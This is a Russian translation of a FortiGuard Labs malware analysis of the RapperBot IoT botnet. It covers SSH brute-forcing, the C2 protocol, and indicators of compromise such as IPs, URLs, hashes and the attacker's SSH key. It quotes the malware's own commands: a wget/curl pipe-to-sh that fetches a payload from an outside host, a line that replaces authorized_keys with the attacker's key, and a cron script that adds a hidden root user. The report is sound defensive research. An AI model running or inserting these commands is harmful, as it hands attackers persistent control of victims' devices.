FortiGuard Labs отслеживает быстро развивающееся семейство вредоносных программ для IoT, известное как "RapperBot", с середины июня 2022 года. Это семейство в значительной степени заимствует исходный код Mirai, но от других семейств вредоносных программ для IoT его отличает встроенная возможность перебора учетных данных и получения доступа к серверам SSH, а не Telnet, как это было реализовано в Mirai.
Кроме того, последние образцы показывают, что его разработчики начали добавлять код для поддержания персистентности, что редко делается в других вариантах Mirai. Это позволяет субъектам угроз сохранять доступ к зараженным устройствам через SSH даже после перезагрузки устройства или удаления вредоносной программы.
RapperBot Botnet
В июне 2022 года лаборатория FortiGuard Labs столкнулась с образцами вредоносного ПО для IoT, содержащими строки, связанные с SSH, что не часто встречается в других кампаниях, связанных с угрозами для IoT. Больше всего заинтересовал размер кода, ссылающегося на эти строки, по сравнению с кодом, используемым для DDoS-атак, который обычно составляет большую часть кода в других вариантах.
После дальнейшего анализа было обнаружено, что это семейство вредоносных программ, получившее название "RapperBot", предназначено для работы в основном как SSH брутфорсер с ограниченными возможностями DDoS. Как типично для большинства вредоносных программ для IoT, они нацелены на архитектуры ARM, MIPS, SPARC и x86.
Название "RapperBot" происходит из отчета CNCERT от начала июля, в котором в старых образцах был обнаружен встроенный URL-адрес рэп-клипа с YouTube. Образцы RapperBot, выпущенные после этого отчета, не содержат этого URL.
RapperBot в значительной степени использует части исходного кода Mirai, но его функции и детали реализации, например, командный протокол Command & Control (C2), значительно отличаются от оригинального Mirai и типичных вариантов на основе Mirai, отслеживаемых FortiGuard Labs.
В отличие от большинства вариантов Mirai, которые изначально перебирают Telnet-серверы, использующие стандартные или слабые пароли, RapperBot сканирует и пытается перебрать SSH-серверы, настроенные на прием парольной аутентификации. Основная часть кода вредоносной программы содержит реализацию клиента SSH 2.0, который может подключаться и перебирать любой SSH-сервер, поддерживающий обмен ключами Diffie-Hellmann с 768- или 2048-битными ключами и шифрование данных с помощью AES128-CTR.
Отличительной особенностью реализации брутфорсинга в RapperBot является использование "SSH-2.0-HELLOWORLD" для идентификации себя с целевым SSH-сервером на этапе обмена протоколом SSH. Появление этого RapperBot в середине июня совпадает с наблюдением этой же строки идентификации клиента Центром SANS Internet Storm Center в журналах их honeypot.
Более ранние образцы имели список учетных данных для брутфорса, жестко закодированный в двоичном файле. Начиная с июля, образцы теперь получают этот список с другого порта на сервере C2. Это позволяет субъектам угроз постоянно добавлять новые учетные данные SSH без необходимости обновлять зараженные устройства новыми образцами. Номер этого порта в последних образцах варьируется от 4343 до 4345.
После успешного перебора SSH-сервера RapperBot сообщает действительные учетные данные на C2-сервер через отдельный порт (в настоящее время 48109), не выполняя дальнейших команд на удаленной жертве.
Однако в конце июня FortiGuard Labs обнаружила несколько образцов, которые пытались самораспространяться через удаленный загрузчик двоичных файлов после компрометации. Команды, выполняемые на скомпрометированном SSH-сервере, показаны ниже.
- sh
- enable
- shell
- debug shell
- cmd
- wget http://2[.]58[.]149[.]116/w -O- | sh; curl http://2[.]58[.]149[.]116/c -O- | sh
По неизвестным причинам эта функция распространения была удалена в образцах, собранных через несколько дней, и в последующих образцах она не встречалась. Как и в случае с оригинальным Mirai, участники угрозы внедрили отдельную систему загрузчика, которая впоследствии подключалась к жертве для загрузки и выполнения клиента бота.
С середины июля RapperBot перешел от самораспространения к поддержанию удаленного доступа к взломанным SSH-серверам. Он запускает команду shell для замены ~/.ssh/authorized_keys удаленных жертв на ключ, содержащий открытый SSH-ключ угрожающих субъектов с комментарием "helloworld", как показано ниже.
cd ~ && rm -rf .ssh && mkdir . ssh && echo "ssh- rsaAAAAAB3NzaC1yc2EAAAADAQABAAACAQC/yU0iqklqw6etPlUon4mZzxslFWq8G8sRyluQMD3i8tpQWT2cX/mwGgSRCz7HMLyxt87olYIPemTIRBiyqk8SLD3ijQpfZwQ9vs Hc47hdTBfj89FeHJGGm1KpWg8lrXeMW+5jIXTFmEFhbJ18wc25Dcds4QCM0DvZGr/Pg4+kqJ0gLyqYmB2fdNzBcU05QhhWW6tSuYcXcyAz8Cp73JmN6TcPuVqHeFYDg05KweY qTqThFFHbdxdqqrWy6fNt8q/cgI30NBa5W2LyZ4b1v6324IEJuxImARIxTc96Igaf30LUza8kbZyc3bewY6IsFUN1PjQJcJi0ubVLyWyyJ554Tv8BBfPdY4jqCr4PzaJ2Rc1J FJYUSVVT4yX2p7L6iRpW212eZmqLMSoR5a2a/tO2s1giIlb+0EHtFWc2QH7yz/ZBjnun7opIoslLVvYJ9cxMoLeLr5Ig+zny+IEA3x090xtcL62X0jea6btVnYo7UN2BARziis Zze6oVuOTCBijuyvOM6ROZ6s/wl4CQAOSLDeFIP5L1paP9V1XLaYLDBAodNaUPFfTxggH3tZrnnU8Dge5/1JNa08F3WNUPM1S1x8L2HMatwc82x35jXyBSp3AMbdxMPhvyYI8v 2J1PqJH8OqGTVjdWe40mD2osRgLo1EOfP/SFBTD5VEo95K2ZLQ== helloworld">>. ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~;
Открытые ключи, хранящиеся в ~/.ssh/authorized_keys, позволяют любому человеку с соответствующим закрытым ключом подключаться и аутентифицироваться к SSH-серверу без необходимости вводить пароль. Это представляет угрозу для взломанных SSH-серверов, так как угрожающие лица могут получить к ним доступ даже после изменения учетных данных SSH или отключения аутентификации по паролю SSH. Более того, после замены файла все существующие авторизованные ключи удаляются, что не позволяет легитимным пользователям получить доступ к SSH-серверу через аутентификацию с открытым ключом.
Помимо сохранения доступа к каждому SSH-серверу, который он перебирает, RapperBot также стремится закрепиться на всех устройствах, на которых он запущен. Образцы с середины июля добавляют тот же самый вышеупомянутый SSH-ключ в локальный файл "~/.ssh/authorized_keys" на зараженном устройстве после выполнения. Это позволяет RapperBot сохранять доступ к этим зараженным устройствам через SSH даже после перезагрузки устройства или удаления RapperBot с устройства - что нетипично для большинства вариантов Mirai. В попытке лучше спрятаться на виду, последние образцы используют более безобидный комментарий "system key generated by server 20220709" для открытого ключа вместо "helloworld".
В последних образцах RapperBot вредоносная программа также начала добавлять корневого пользователя "suhelper" на зараженное устройство путем прямой записи в файлы "/etc/passwd" и "/etc/shadow/", что позволяет агенту угрозы получить полный контроль над устройством. Кроме того, каждый час добавляется учетная запись пользователя root путем записи следующего сценария в файл "/etc/cron.hourly/0" на случай, если другие пользователи (или ботнеты) попытаются удалить свою учетную запись из системы жертвы. Команда для добавления пользователя root приведена ниже.
1 2 | #!/bin/sh useradd -u 0 -g 0 -o -d / suhelper -p '$1$1OJBlhUV$E9DMK0xdoZb8W8wVOibPQ/' >/dev/null 2>&1 |
Если ранние образцы содержали строки в открытом виде, то последующие образцы добавили дополнительную обфускацию к строкам, построив их на стеке. Это не позволяет обычным инструментам анализа и методам обнаружения извлекать человекочитаемые строки из двоичных файлов.
Более того, в этих последних образцах реализован дополнительный слой XOR-кодирования в стиле Mirai, чтобы скрыть эти строки от сканеров памяти во время выполнения.
В то время как большинство операторов бот-сетей Mirai и Gafgyt, таких как Keksec, склонны включать в образцы вредоносного ПО строки, идентифицирующие их самих, разработчики этого вредоносного ПО сохраняют относительно низкий профиль (за исключением случайных ссылок на рэп-музыку).
Сетевой протокол
RapperBot взаимодействует со своим C2-сервером через TCP-запросы на отдельных портах для получения команд (443 в последних образцах), загрузки списков учетных данных SSH или сообщения о действительных учетных данных во время перебора SSH.
Каждый запрос содержит ID бота - 32-байтовое значение, жестко закодированное в двоичном файле. FortiGuard Labs обнаружила два следующих идентификатора:
d4 1c 74 44 70 95 28 ff f0 98 ae 4e 6f 92 ba d5 0f cd 56 29 c5 12 53 a1 fe 46 53 c7 0b b5 18 27
f6 b7 0b 00 14 77 35 f9 8d 6d 5d c4 bd 23 88 7e cf 5e 02 ce 54 5f e7 b1 e6 3f 2a 16 71 b6 eb 9a (отдельный кластер, наблюдаемый только в конце декабря 2021 года)
В качестве примечания, поворот на эти идентификаторы ботов позволил найти более старые образцы, начиная с ноября 2021 года. Однако возможность перебора SSH была замечена только в образцах с середины июня 2022 года.
RapperBot начинает работу с отправки регистрационного пакета на сервер C2. Он включает аргумент (называемый Mirai "источником"), использованный при выполнении двоичного файла в системе жертвы, который обычно предоставляет некоторую базовую контекстную информацию о его выполнении. Например, "ssh.wget.arm7" сообщит C2, что двоичный файл был распространен по протоколу SSH, загружен с помощью утилиты wget и имеет архитектуру ARM.
Последующая коммуникация использует следующую структуру:
1 2 3 4 5 | struct rapperbot_registration { byte bot_id[32]; int command_code; source [32]; }; |
Вот коды команд, поддерживаемые RapperBot:
- 0x00: Register (используется клиентом)
- 0x01: Keep-Alive/Do nothing
- 0x02: Остановить все DoS атаки и завершить работу клиента
- 0x03: Выполнить DoS атаку
- 0x04: Прекратить все DoS-атаки
Сразу после пакета регистрации клиент посылает еще один запрос, чтобы уведомить C2 о том, что клиент готов принимать команды. Сервер C2 обычно отвечает командой keep-alive, чтобы подтвердить запрос.
Однако RapperBot поддерживает очень минимальный набор DoS-атак, включая обычные UDP и TCP STOMP flood-атаки, которые очень похожи на реализацию Mirai.
Структура команд атаки выглядит следующим образом:
1 2 3 4 5 6 7 8 | struct rapperbot_attack_command { byte bot_id[32]; int command_code; // 0x03 byte vector; // тип DoS-атаки ushort target_port; int duration; int target_ip; }; |
FortiGuard Labs следит за этой угрозой уже более месяца. За это время она претерпела несколько интересных изменений, которые вызывают больше вопросов, чем ответов при попытке определить основную мотивацию.
В какой-то момент были замечены образцы, в которых возможности DDoS-атак были полностью удалены, а через неделю снова добавлены. Может быть, DDoS-функции были сохранены для маскировки под типичный DDoS-ботнет, чтобы не привлекать лишнего внимания? Также возможно, что вся эта кампания все еще находится в стадии разработки.
Кроме того, самораспространение было удалено через несколько дней в конце июня, а в настоящее время основное внимание уделяется агрессивному сохранению постоянного доступа к SSH-серверам, взломанным методом перебора.
Кроме того, отсутствует дополнительная полезной нагрузки после перебора. За последние 1,5 месяца было замечено более 3500 уникальных IP-адресов, пытавшихся просканировать и перебрать SSH-серверы с идентификационной строкой клиента SSH-2.0-HELLOWORLD. IP-адреса из США, Тайваня и Южной Кореи составили половину наблюдаемых IP-адресов.
Хотя эта угроза в значительной степени заимствует код у Mirai, у нее есть особенности, которые отличают ее от предшественницы и ее разновидностей. Его способность сохраняться в системе жертвы дает возможность субъектам угроз использовать его для любых вредоносных целей.
Из-за некоторых значительных и любопытных изменений, которые претерпел RapperBot, его основная мотивация остается немного загадочной. Тем не менее, поскольку основным методом его распространения является перебор учетных данных SSH, эта угроза может быть легко устранена путем установки надежных паролей для устройств или отключения аутентификации пароля для SSH (где это возможно).
Indicators of Compromise
IPv4
- 185.225.73.196
- 194.31.98.244
- 2.58.149.116
- 31.44.185.235
URLs
- http://31.44.185.235/x86
- http://31.44.185.235/mips
- http://31.44.185.235/arm7
- http://2.58.149.116/arm
- http://2.58.149.116/spc
- http://2.58.149.116/mips
- http://2.58.149.116/x86_64
- http://2.58.149.116/ssh/arm7
- http://2.58.149.116/ssh/mips
- http://2.58.149.116/ssh/x86
- http://2.58.149.116/ssh/spc
- http://194.31.98.244/ssh/new/spc
- http://194.31.98.244/ssh/new/x86
- http://194.31.98.244/ssh/new/mips
- http://194.31.98.244/ssh/new/arm7
- http://194.31.98.244/ssh/new/arm
- http://194.31.98.244/ssh/new/x86
- http://194.31.98.244/ssh/new/mips
- http://194.31.98.244/ssh/new/arm7
- http://194.31.98.244/ssh/new/arm
- http://185.225.73.196/ssh/new/arm
- http://185.225.73.196/ssh/new/arm7
- http://185.225.73.196/ssh/new/mips
- http://185.225.73.196/ssh/new/x86
SHA256
- 05c78eaf32af9647f178dff981e6e4e43b1579d95ccd4f1c2f1436dbfa0727ad
- 1975851c916587e057fa5862884cbac3fa1e80881ddd062392486f5390c86865
- 1d5e6624a2ce55616ef078a72f25c9d71a3dbc0175522c0d8e07233115824f96
- 2298071b6ba7baa5393be064876efcdbd9217c212e0c764ba62a6f0ffc83cc5a
- 23256f231f3d91b0136b44d649b924552607a29b43a195024dbe6cde5b4a28ad
- 23a415d0ec6d3131f1d537836d3c0449097e98167b18fbdbf2efca789748818a
- 2479932a6690f070fa344e5222e3fbb6ad9c880294d5b822d7a3ec27f1b8b8d5
- 55ff25b090dc1b380d8ca152428ba28ec14e9ef13a48b3fd162e965244b0d39b
- 746106403a98aea357b80f17910b641db9c4fedbb3968e75d836e8b1d5712a62
- 77b2e5fb5b72493bde35a6b29a66e6250b6a5a0c9b9c5653957f64a12c793cd5
- 8380321c1bd250424a0a167e0f319511611f73b53736895a8d3a2ad58ffcd5d5
- 88bbb772b8731296822646735aacbfb53014fbb7f90227b44523d7577e0a7ce6
- 8e9f87bb25ff83e4ad970366bba47afb838028f7028ea3a7c73c4d08906ec102
- 92ae77e9dd22e7680123bb230ce43ef602998e6a1c6756d9e2ce5822a09b37b4
- 9d234e975e4df539a217d1c4386822be1f56cea35f7dd2aa606ae4995894da42
- a31f4caa0be9e588056c92fd69c8ac970ebc7e85a68615b1d9407a954d4df45d
- c83f318339e9c4072010b625d876558d14eaa0028339db9edf12bbcafe6828bb
- d86d158778a90f6633b41a10e169b25e3cb1eb35b369a9168ec64b2d8b3cbeec
- dcdeedee4736ec528d1a30a585ec4a1a4f3462d6d25b71f6c1a4fef7f641e7ae
- ddf5aff0485f395c7e6c3de868b15212129962b4b9c8040bef6679ad880e3f31
- e56edaa1e06403757e6e2362383d41db4e4453aafda144bb36080a1f1b899a02
- e8d06ac196c7852ff71c150b2081150be9996ff670550717127db8ab855175a8
- e8f1e8ec6b94ea54488d5f714e71e51d58dcdfe4be3827c55970d6f3b06edf73
- ebb860512a55c1cdc8be1399eec44c4481aedb418f15dbda4612e6d38e9b9010
- f5ff9d1261af176d7ff1ef91aa8c892c70b40caa02c17a25de22539e9d0cdd26
- ff09cf7dfd1dc1466815d4df098065510eec504099ebb02b830309067031fe04
SSH public key
AAAAB3NzaC1yc2EAAAADAQABAAACAQC/yU0iqklqw6etPlUon4mZzxslFWq8G8sRyluQMD3i8tpQWT2cX/mwGgSRCz7HMLyxt87olYIPemTIRBiyqk8SLD3ijQpfZwQ9vsHc47hdTBfj89FeHJ GGm1KpWg8lrXeMW+5jIXTFmEFhbJ18wc25Dcds4QCM0DvZGr/Pg4+kqJ0gLyqYmB2fdNzBcU05QhhWW6tSuYcXcyAz8Cp73JmN6TcPuVqHeFYDg05KweYqTqThFFHbdxdqqrWy6fNt8q/cgI30 NBa5W2LyZ4b1v6324IEJuxImARIxTc96Igaf30LUza8kbZyc3bewY6IsFUN1PjQJcJi0ubVLyWyyJ554Tv8BBfPdY4jqCr4PzaJ2Rc1JFJYUSVVT4yX2p7L6iRpW212eZmqLMSoR5a2a/tO2s1 giIlb+0EHtFWc2QH7yz/ZBjnun7opIoslLVvYJ9cxMoLeLr5Ig+zny+IEA3x090xtcL62X0jea6btVnYo7UN2BARziisZze6oVuOTCBijuyvOM6ROZ6s/wl4CQAOSLDeFIP5L1paP9V1XLaYLD BAodNaUPFfTxggH3tZrnnU8Dge5/1JNa08F3WNUPM1S1x8L2HMatwc82x35jXyBSp3AMbdxMPhvyYI8v2J1PqJH8OqGTVjdWe40mD2osRgLo1EOfP/SFBTD5VEo95K2ZLQ==